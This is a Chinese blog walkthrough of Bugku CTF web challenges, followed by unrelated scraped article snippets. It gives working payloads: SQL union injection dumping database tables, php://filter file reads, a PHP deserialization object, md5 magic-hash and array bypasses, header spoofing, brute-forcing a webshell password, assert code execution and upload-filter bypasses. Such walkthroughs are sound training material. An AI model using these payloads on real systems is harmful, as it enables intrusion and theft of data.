Bugku web(1—35)
1.web2
打开网页:
哈哈,其实按下F12你就会发现flag。
2.计算器
打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入结果就拿到flag了。
3.web基础$_GET 30
打开网页,审计一下大概是要让其得到一个what=flag,于是在URL后面加上?what=flag,就得到flag了。
4.web基础$_POST 30
打开网页,审计一下大概是要让你上传一个what=flag,用hackbar来post一下就行了。
5.矛盾
审计代码,发现大概是要得到num=1,但是num又不是数字。这样就要想办法了,?num=1e0.11,传递一下就行了。(让num是1但又不是数字)
6.web3
打开网页,查看源代码,发现最后有一串HTML编码,解码就行了。
7.域名解析
Linux、Windows都可以,找到Windows为 c:\windows\system32\drivers\etc\hosts ,linux下为etc/hosts,修改如下:
保存后访问 flag.baidu.com ,就拿到flag了。
8.你必须让他停下
先来一个不建议用单页能得出flag的方法。
打开网页发现一直在不断跳转,猜想可能源码中有这样的语句使其一直跳转,于是查看源代码,果然发现一段代码:
于是想到修改一下页面代码,F12,找到对应部分,将
window.location.reload(); 删去,由于页面是不断跳转的,也许你修改的源码真是flag所在网页的源码,那你就能直接在flag is here,这里看到flag。
但是还是不建议这样做,正确的做法应该是:
用bp抓包,送到repeater里,一帧一帧的go,就是一直点go,就能拿到flag了。
9.本地包含
审计一下代码,大概意思就是接受一个hello的值赋给a,然后再输出a,上面有提示flag.php,可能flag在这个文件中。
这个时候需要传递一个hello,且将文件中文本赋给hello,用到一个PHP函数:file_get_contents(),将URL改成:
http://123.206.87.240:8003/?hello=file_get_contents('flag.php'),
然后再查看源码,flag就被输出了。
10.变量1
这个题好几个网站上都有,下面是我找到的解法:
首先观察程序,很明显看到了$$args,考虑到此题可能考GLOBALS变量,直接构造如下赋值即可:
http://120.24.86.145:8004/index1.php?args=GLOBALS
得到flag
11.web5
查看源码,发现有好长一串不一样的有符号组成的东西,这是一个js的编码,粘贴到控制台中,回车就行了。
12.头等舱
打开什么也没有,源码也什么也没有,于是用bp抓包,送到repeaterli,go一下,看到了flag。
13.网站被黑
题上写到:这个题没技术含量但是实战中经常遇到
源码什么的也没发现什么,于是用御剑扫描一下,发现一个shell.php,打开这个网页,准备好抓包,随便输入一个密码,比如admin,回车,这是就抓到包了(一定是在提交时抓包)。
送到intruder中进行密码爆破:
开始破解,完成后发现
所以密码是:hack
输入后就拿到flag了。
14.管理员系统
打开链接发现是要登陆,(这里sql注入不行),自己随便输入用户名密码,会有这样的提示:
“本地管理员”......“本地”......
得到新思路:伪装成本地访问:
抓包
改包:Headers中增添一对键值对: X-Forwarded-For : 127.0.0.1
F12发现有一串base64码,解码为test123,猜想是密码,输入用户名和密码,用bp抓包,再改包,送包就会发现flag了。
15.web4
看看源代码有escape编码,unescape一下得到代码,可以看到:
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;
输入67d709b2b54aa2aa648cf6e87a7114f1提交就拿到flag了。
16.flag在index里
老司机看到文件在index(php文件)中,估计很快能拿到flag。
这里用到一个读取php文件源码的方法,是文件包含漏洞(本地文件包含(Local File Include),简称 LFI。),先说解决方法再解释。(file关键字是提示,其实也是CTF的套路)
然后来解释php://filter/read/convert.base64-encode/resource=index.php
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。这样就能读取文件源码并以base64的 方式输出。
将base64码解码就拿到flag了。
17.输入密码查看flag
打开网页,由URL想到爆破,于是随便输入5个数字,用bp抓包,送到intruder中破解,
在Positions中点击clear清除burp认为需要猜测的密码,然后选中12345(也就是我们刚才输入的密码,点击add)
然后设置线程,电脑差不多的就直接设置为100(不设置能慢死)
输入就有flag了。
18.点击一百万次
要点击一百万次啊。。。
肯定不是一个个点出来的。查看源码,于是看到
大概就是clicks>=1000000时,输出flag,既然他想要个clicks,我们就给他传个,用hackbar去post:clicks=1000001(可以更大),就拿到flag了。
19.备份是个好习惯
备份是个好习惯,试了很多方法,不行,于是百度,得到是让寻找备份文件的。
小知识:
1. 备份文件一般情况是在后缀名后加的*.swp,*.bak
2. http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件
于是将URL改成123.206.87.240:8002/web16/index.php.bak,回车,下载到一个php文件,里面是这样的代码:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,
如果md5加密的值一样而未加密的值不同,就输出flag.
可以用两个数组进行绕过?kkeyey1[]=1&kkeyey2[]=2
或是使用哈希值为0E开头的字符串,常见的字符串有这几种
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
这是两种绕过方法。
http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
如此就能绕过并拿到flag了。
20.成绩单
输入1,2,3都能查询到学生的成绩,下面尝试:
输入1',返回异常;输入1'--+,返回异常;输入1'#,返回正常。说明--+被过滤了,用#可以正常注释。
然后猜字段,根据页面有名字,三个成绩,可能是四个字段,于是1' order by 4#,无异常,而1' order by 5#返回异常,说明有四个字段。
接着开始注入,暴库:(1) 0' union select 1,2,3,database()# 得到数据库名:skctf_flag
(2)暴表:0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
得到表表名:fl4g 与 sc,flag应该在fl4g里
(3)爆字段:0' union select 1,2,3,group_concat(column_name) from information_columns where table_name='fl4g'#
得到字段名:skctf_flag
(4)0' union select 1,2,3,skctf_flag from fl4g#
拿到flag。
21.秋名山老司机
这个用py在网上找了wp去模仿,但是总是错误,先不写。
22.速度要快
查看源码:
</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->
意思就是让我们上传一个我们得到的margin,用bp抓包,在repeater中go会发现在response中有flag,但是多go几次发现flag会变化,而且flag看着像是base64编码,于是解码试试,还真能解出来,但是肯定不对,因为既让每次的flag都不一样,那么一次解出来的肯定不对,于是想到写个脚本来读取headers中的flag再解码后post来尝试。
脚本如下:
import requests
import base64
import re
url='http://123.206.87.240:8002/web6/'
r=requests.session()
s=r.get(url)
flag=s.headers['flag']
mid=base64.b64decode(flag)
mid=mid.decode()
flag=base64.b64decode(mid.split(':')[1])
data={'margin':flag}
print (r.post(url,data=data).text)
脚本有所借鉴,里面倒数第三行又进行了一次base64解码,但是大佬门的博客都没有写为什么,这里是我的理解:
源码是让上传一个margin,百度一下这个单词,发现是css的一个属性,是说边框的长宽等属性的,于是猜想上传的是数字,将bp里的flag解码两次,正好就是数字(类似于宽和高),于是才在脚本中进行了两次base64解码。
23.cookies欺骗
打开网页,一串毫无作用的字符串,不用管,看url发现,好像有base64编码,而且有line且没有值。
将base64解码,发现是文件名keys.txt(猜想可能flag在这个文件里),这里我们试试index.php,于是将index.php用base64加密,放在原来文件名的地方,且将line后面加上值,会发现页面有回显,改变line的值其显示的东西不一样,由于一个个改太麻烦,写个脚本看看究竟显示的是什么:
import requests
for i in range(30):
url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
r=requests.get(url)
print(r.text)
然后得到下面的php程序:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//重点看这里
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
由于题上也说了是cookies欺骗,于是我们着重看cookies这一段,发现可能目的是让margin元素的值等于margin,于是打开hackbar,用最开始的网页(原始网页文件是keys.txt,我们也猜测flag在这里面)使cookies为margin=margin
执行后查看源码就找到flag了。(或者用bp抓包改包)
24.never give up
查看源码,发现:
<!--1p.html-->
于是访问view-source:http://123.206.87.240:8006/test/1p.html
发现base64解码,解码发现是url编码,在解码,出现如下代码:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
然而这一大堆有用的不多,根据观察flag好像在f4l2a3g.txt中,于是访问view-source:http://123.206.87.240:8006/test/f4l2a3g.txt
拿到flag。
25.welcome to bugkuctf
小白一个,模仿大佬的做法。
首先查看源码,
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
意思就是user接收到的txt的值为welcome to the bugkuctf,之后会执行if中的语句,而且会包含一个文件,根据提示这个文件就是hint.php了,这里用到两个php的协议,向php传递txt和file的值的时候,用到:php://input 和 php://filter.
用hackbar传递:
会出现一段base64码,拿去解码,得到一段代码(hint.php文件的代码):
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
到这里好像卡住了,于是再利用上面的php://filter协议查看index.php的代码:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
结合着两段代码,发现,flag应该在flag.php中,但是我们如果传递flag.php,会被preg_match()正则匹配到,所以重点就在password那一段,但是这里有一个password的反序列化,就是说我们不能被正则匹配到,而且我们传递的password还是要被序列化过的。
于是我们用一段php代码:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$a=new Flag();
$a->file="flag.php";
$a=serialize($a);
print($a);
?>
得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后将得到的结果传给password:
查看源码就得到flag了。
解释一下为什么要这么做:从上面的password那一段,我们需要将password序列化,而且我们的目标是输出flag,即输出flag.php的内容,所以我们根据hint.php(能将文件内容输出)创建一个Flag类$a,然后将flag.php赋值给该类中的file变量,此时对于a来说,a所包含的就是Flag类中的内容(其中有echo file_get_contents($this->file);),所以当我们将啊序列化后传递然后由password接收再反序列化,此时的password就是我们代码中的a,我们输出password的时候就等于输出了a(其中有echo file_get_contents($this->file);),所以这样就能输出flag了。
26.过狗一句话
观察提示:
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
?>
就是说将poc以#为分隔符截开赋给poc_1,再将poc_1数组中的元素连接赋给poc_2,完成后poc_2就是assert,所以最后一句就是assert($_GET['s']),所以就是执行$_GET['s']。
这个题需要扫描一下当前目录下的文件,用到scandir(),构造payload:http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
print_r输出数组,scandir扫描当前文件夹并以数组形式返回
于是用url:http://123.206.87.240:8010/f14g.txt
就拿到flag了。
27.字符?正则?
打开网页,代码的意思就是我们要传递一个id使其满足正则表达式。
"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"
对应这个正则表达式来写id的值,参考下面的符号:
1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
于是构造一个payload(不唯一):http://123.206.87.240:8002/web10/?id=key2key22222key:/f/keyz;
就能拿到flag了。
28.前女友(SKCTF)
查看源代码,有个code.txt,打开看看什么意思:
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
意思是:传递v1,v2,v3的值,而且v1,v2的md5加密值相同(可以用数组绕过,MD5处理数组返回null),然后v3的值要和flag的值相等(利用strcmp()函数的漏洞)
构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=5
就拿到flag了。
29.login1(SKCTF)
自己注册一个尝试登陆:
题目有hint:SQL约束攻击
于是用得到SQL约束攻击,关于SQL约束攻击,参考:传送门
(其实基本原理就是sql查找时会过滤掉空格,我们注册时用一直账号加上空格为用户名,然后就能用我们这个登陆过滤掉空格后的真实账号才能登陆的系统)
当我们尝试用admin注册时,提示已经被注册,那这个可能就是管理员账号了。
根据SQL约束攻击原理,我们这样注册:
用户名:admin (admin后面有很多空格)
密码按照要求随便设。
再用注册成功的账号登陆就拿到flag了。
30.你从哪里来
打开网页出现:are you from google?
貌似是让用Google进入,然而并不行,其实是将referer设为https://www.google.com
就拿到flag了。
31.md5 collision(NUPT_CTF)
题目是MD5碰撞,而且页面显示input a,于是我们将用来碰撞的MD5值用a传过去:
http://123.206.87.240:9009/md5.php?a=s878926199a
常用的碰撞的MD5:
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
32.程序员本地网站
打开并发现不了什么,由本地想到构造X-Forwarded-For头
33.各种绕过
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
审计代码,发现需要的条件:sha1($_GET['uname']) === sha1($_POST['passwd'])&和($_GET['id']=='margin')
所以
就能 拿到flag了。
34.web8
这个题找到了两种方法:
方法一:
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
审计发现需要让$ac === $f,那我们就传递ac和fn,并且让传递过去的值相等,由于fn为文件,这里用php://input传递:
就能拿到flag了。
方法2:
题目提示为txt????
审计代码,fn为文件,所以可能有个flag.txt,也就是fn文件,
访问http://123.206.87.240:8002/web8/flag.txt
看到flag.txt文件的内容为flags,根据方法1的分析,所以我们的这样构造payload:http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt
就拿到flag了
35.细心
开始很蒙圈,看了大佬的wp才会。
需要访问robots.txt,(一般网页都有这个文件)
访问发现了resusl.php,于是再访问resusl.php,出现
这有代码,再结合题目说变成admin,于是传递x=admin就拿到flag了。
36.求getshell
上传一个png文件发现提示My name is margin,give me a image file not a php
然后也尝试上传php文件,但是依然不行,这里显然对文件类型和后缀进行了检测,
这里用到的是:后缀黑名单检测和类型检测
于是我们利用文件类型的大小写来绕过,并尝试修改后缀,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤
Bugku web(1—35)的更多相关文章
- bugku web所有writeup_超详细讲解_持续更新
首先说一下我的主用工具,在windows下,主要是用这些,用到其他特定的工具会在题里说. 0.浏览器:火狐,配合Max hackbar插件 (这个是免费的) 1.抓包改包:burpsuite.http ...
- [Bugku]Web题解
bugku地址链接:https://ctf.bugku.com 1.web2 浏览器就显示一堆动态笑脸,时间长了密集恐惧症了. 解法1: F12查看源码 解法2: 地址栏输入: view-source ...
- 转载--web前端35个jQuery小技巧!
1. 禁止右键点击$(document).ready(function(){ $(document).bind("contextmenu",function(e){ ...
- bugku web web基础
web基础$_GET $what=$_GET['what'];echo $what;if($what=='flag')echo 'flag{****}'; 看了这段代码知道,需要用get提交what= ...
- Bugku web web基础$_GET
web基础$_GET 打开网站后发现 $what=$_GET['what']; echo $what; if($what=='flag') echo 'flag{****}'; 根据这段话的意思是将w ...
- BUGKU web刷题记录
web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...
- bugku web 管理员系统
页面是一个登陆表单,需要账号密码,首先f12查看源代码,发现有一段可疑的注释,明显是base64,解码得到test123,似乎是一个类似于密码的东西,既然是管理员,就猜测用户名是admin,填上去试一 ...
- bugku web 头等舱
什么也没有. 不行,他肯定把重要的东西隐藏了起来,首先查看源代码 真的什么也没有 burp抓包,看是不是在头部里,嘿嘿找到了
- bugku web web5
JSPFUCK??????答案格式CTF{**} http://123.206.87.240:8002/web5/ 字母大写 jspfuck这不是骂人吗,怎么回事啊? ·点进去看见有一个可以输入的框, ...
随机推荐
- .net 4.0 : Missing compiler required member 'Microsoft.CSharp.RuntimeBinder.Binder.****'
解决办法,添加 MicroSoft.CSharp 的引用.
- 嵊州普及Day2T1
题意:对于给出的数列,有多少数可表示为另两数的和. 思路:先排个序,桶排思路.以一个数组储蓄所有出现的和.最后循环判断是否b[i]>0. 见代码: #include<iostream> ...
- Git 的 4 个阶段的撤销更改
虽然git诞生距今已有12年之久,网上各种关于git的介绍文章数不胜数,但是依然有很多人(包括我自己在内)对于它的功能不能完全掌握.以下的介绍只是基于我个人对于git的理解,并且可能生编硬造了一些不完 ...
- 吴裕雄--天生自然java开发常用类库学习笔记:foreach及Enumeration接口
import java.util.Vector; import java.util.Enumeration; public class EnumerationDemo01{ public static ...
- 接口测试基础----postman、jmeter
一,什么是接口 接口一般接口分两种: 系统对外接口:与外部系统对接的接口,用来获取或者传递数据给外部系统 系统内部接口:系统模块.方法之间用来获取或者传递数据的接口 二.接口分类 webservice ...
- spring boot rest api exception解决方案
1.控制器级别@ExceptionHandler public class FooController{ //... @ExceptionHandler({ CustomE ...
- C#如何编写短信接口,以及接口的调用,包括C#.net访问web,并处理返回值的简例。
在系统的开发中我们经常会用到接口,下面给大家介绍一种短信接口的编写与调用. 我们常调用接口来完成一些信息的通知或者发送验证码,那么这些操作是如何完成的呢?来看一下详细的介绍吧! 首先呢,我们需要有一个 ...
- 每天一点点之vue框架开发 - 部署到线上
1.在项目根目录下运行如下命令 npm run build 会生成一个dist目录, 2.然后将dist目录上传至服务器就可以访问页面了,不需要配置vue环境了.
- 抗干扰性极强非接触式读卡13.56mhz芯片:SI522
由于智能门锁产品不断地火爆,市场上的不断出现破解的方法.对此中科微联合深圳市动能世纪科技有限公司不断满足市场需求,推出一款抗干扰性极强的13.56mhz芯片. 该芯片出了抗干扰性强以外还直接PIN2P ...
- 基于thinkphp的邮件群发系统的设计
在网上找了很多资料,关于邮件群发系统的开发并没有一个非常好的方案,冥思苦相数日,研究了一套目前使用稍微有点效果的邮件群发系统,特地来分享一下,当然有过有更好的方案,欢迎大家一起讨论,或者私聊一下我. ...